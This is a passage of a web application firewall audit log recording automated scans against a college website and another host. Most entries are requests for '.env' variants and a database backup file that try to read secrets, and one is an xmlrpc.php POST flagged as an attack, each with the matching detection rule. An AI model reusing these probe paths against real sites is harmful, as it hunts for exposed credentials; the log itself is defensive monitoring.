phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/configurationtion/.env"] [unique_id "aE8mu4fvqn7_SDWw_wX57QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017723555422 780269 (- - -) Stopwatch2: 1750017723555422 780269; combined=1977, p1=413, p2=1452, p3=0, p4=0, p5=112, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5d67d114-Z-- --12dcc34e-A-- [16/Jun/2025:01:32:05.420908 +0530] aE8mvDZWrQ9Ly--lMo_8uAAAAAE 185.177.72.210 52936 127.0.0.1 7081 --12dcc34e-B-- GET /:8443/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12dcc34e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4670eca57c831b4dc57a5e068f5a8d51750017725; expires=Sun, 15 Jun 2025 21:02:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12dcc34e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/prod/.env"] [unique_id "aE8mvDZWrQ9Ly--lMo_8uAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017724676142 744842 (- - -) Stopwatch2: 1750017724676142 744842; combined=1964, p1=389, p2=1457, p3=0, p4=0, p5=117, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12dcc34e-Z-- --6f5c321c-A-- [16/Jun/2025:01:32:12.956068 +0530] aE8mxLGjXXuxVCJENBCs0QAAAAk 185.177.72.210 47268 127.0.0.1 7081 --6f5c321c-B-- GET /:8443/.env.%E4%BF%9D%E5%AD%98.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6f5c321c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2ce8854c72085665db7585237b35f08f1750017732; expires=Sun, 15 Jun 2025 21:02:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6f5c321c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.%E4%BF%9D%E5%AD%98.1"] [unique_id "aE8mxLGjXXuxVCJENBCs0QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017732221086 735059 (- - -) Stopwatch2: 1750017732221086 735059; combined=1807, p1=380, p2=1340, p3=0, p4=0, p5=86, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6f5c321c-Z-- --736d8479-A-- [16/Jun/2025:01:32:33.035326 +0530] aE8m2LGjXXuxVCJENBCs6wAAAAk 185.177.72.210 38530 127.0.0.1 7081 --736d8479-B-- GET /xampp/lang.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --736d8479-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9c02499bc0d9b2587ead1cc7241d31611750017752; expires=Sun, 15 Jun 2025 21:02:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --736d8479-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/lang.php.old"] [unique_id "aE8m2LGjXXuxVCJENBCs6wAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017752349748 685640 (- - -) Stopwatch2: 1750017752349748 685640; combined=2020, p1=317, p2=1613, p3=0, p4=0, p5=89, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --736d8479-Z-- --8ac0a801-A-- [16/Jun/2025:01:32:35.013320 +0530] aE8m2j3D4g1mGjVnV5KKqQAAAAY 185.177.72.210 38642 127.0.0.1 7081 --8ac0a801-B-- GET /.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8ac0a801-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fb23509c23cf4e0df1da0cc861d3eb9a1750017754; expires=Sun, 15 Jun 2025 21:02:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8ac0a801-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.backup"] [unique_id "aE8m2j3D4g1mGjVnV5KKqQAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.env.backup"] [unique_id "aE8m2j3D4g1mGjVnV5KKqQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017754362176 651218 (- - -) Stopwatch2: 1750017754362176 651218; combined=2176, p1=394, p2=1635, p3=0, p4=0, p5=146, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8ac0a801-Z-- --d356dd4d-A-- [16/Jun/2025:01:32:36.135507 +0530] aE8m24fvqn7_SDWw_wX6BQAAAAc 128.199.112.101 38744 127.0.0.1 7081 --d356dd4d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 503 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d356dd4d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d356dd4d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8m24fvqn7_SDWw_wX6BQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017755078699 1056878 (- - -) Stopwatch2: 1750017755078699 1056878; combined=2869, p1=385, p2=2003, p3=54, p4=77, p5=216, sr=104, sw=134, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d356dd4d-Z-- --e41aba7d-A-- [16/Jun/2025:01:32:36.138505 +0530] aE8m27SOi14Mt1Fv4_TAKAAAAAo 185.177.72.210 38816 127.0.0.1 7081 --e41aba7d-B-- GET /.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e41aba7d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d879e0b072f3896a779c93edf88940061750017755; expires=Sun, 15 Jun 2025 21:02:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e41aba7d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.old"] [unique_id "aE8m27SOi14Mt1Fv4_TAKAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017755363402 775166 (- - -) Stopwatch2: 1750017755363402 775166; combined=1864, p1=344, p2=1430, p3=0, p4=0, p5=90, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e41aba7d-Z-- --1332b42c-A-- [16/Jun/2025:01:32:42.173154 +0530] aE8m4V2YlG5AqHgt0_KncgAAAAQ 185.177.72.210 41734 127.0.0.1 7081 --1332b42c-B-- GET /old/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1332b42c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fc2c3347698f66d21c88f7c3a878717f1750017762; expires=Sun, 15 Jun 2025 21:02:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1332b42c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.staging"] [unique_id "aE8m4V2YlG5AqHgt0_KncgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017761475767 697447 (- - -) Stopwatch2: 1750017761475767 697447; combined=1738, p1=327, p2=1332, p3=0, p4=0, p5=78, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1332b42c-Z-- --30bf097d-A-- [16/Jun/2025:01:32:45.153732 +0530] aE8m5D6fDirgE_qJvgHNxgAAAAA 185.177.72.210 41830 127.0.0.1 7081 --30bf097d-B-- GET /:8000/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --30bf097d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7bf61074d01e03393b1178c00a328e2d1750017765; expires=Sun, 15 Jun 2025 21:02:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --30bf097d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/stats/.env"] [unique_id "aE8m5D6fDirgE_qJvgHNxgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017764480449 673377 (- - -) Stopwatch2: 1750017764480449 673377; combined=1669, p1=368, p2=1194, p3=0, p4=0, p5=106, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30bf097d-Z-- --14168675-A-- [16/Jun/2025:01:32:46.155613 +0530] aE8m5Yfvqn7_SDWw_wX6CgAAAAc 185.177.72.210 41862 127.0.0.1 7081 --14168675-B-- GET /settings/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --14168675-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4d12e22ff839f5c750433c9770131a441750017766; expires=Sun, 15 Jun 2025 21:02:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --14168675-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings/db_backup.sql"] [unique_id "aE8m5Yfvqn7_SDWw_wX6CgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017765492808 662868 (- - -) Stopwatch2: 1750017765492808 662868; combined=1949, p1=368, p2=1466, p3=0, p4=0, p5=114, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14168675-Z-- --de621648-A-- [16/Jun/2025:01:33:10.570337 +0530] aE8m_XsalJN_0-_70dL0EwAAAAU 185.177.72.210 44164 127.0.0.1 7081 --de621648-B-- GET /examples/vue-dashboard/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --de621648-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8ea0ea30b8d6e9533bb81ffea335bbc01750017790; expires=Sun, 15 Jun 2025 21:03:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --de621648-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/vue-dashboard/backend/.env"] [unique_id "aE8m_XsalJN_0-_70dL0EwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017789849220 721210 (- - -) Stopwatch2: 1750017789849220 721210; combined=1736, p1=393, p2=1224, p3=0, p4=0, p5=118, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de621648-Z-- --0fa6a219-A-- [16/Jun/2025:01:33:16.877431 +0530] aE8nBDZWrQ9Ly--lMo_86gAAAAE 185.177.72.210 44428 127.0.0.1 7081 --0fa6a219-B-- GET /:8000/app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fa6a219-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0e92fb85b4f0e755a9da4b0ca8d06f4c1750017796; expires=Sun, 15 Jun 2025 21:03:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fa6a219-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/app/configurationtion/.env"] [unique_id "aE8nBDZWrQ9Ly--lMo_86gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017796145560 731943 (- - -) Stopwatch2: 1750017796145560 731943; combined=1692, p1=373, p2=1228, p3=0, p4=0, p5=91, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fa6a219-Z-- --6d86ed3c-A-- [16/Jun/2025:01:33:23.217905 +0530] aE8nCjwutQMQaeKIpO_QbgAAAAg 185.177.72.210 46226 127.0.0.1 7081 --6d86ed3c-B-- GET /:9000/protokolle/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6d86ed3c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f73ba06291b9e0aed9fc7159504759e1750017803; expires=Sun, 15 Jun 2025 21:03:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6d86ed3c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/protokolle/.env"] [unique_id "aE8nCjwutQMQaeKIpO_QbgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017802528072 689905 (- - -) Stopwatch2: 1750017802528072 689905; combined=1963, p1=499, p2=1371, p3=0, p4=0, p5=92, sr=155, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6d86ed3c-Z-- --53f6f733-A-- [16/Jun/2025:01:33:30.373274 +0530] aE8nEbSOi14Mt1Fv4_TAQwAAAAo 185.177.72.210 58634 127.0.0.1 7081 --53f6f733-B-- GET /:5601/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --53f6f733-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 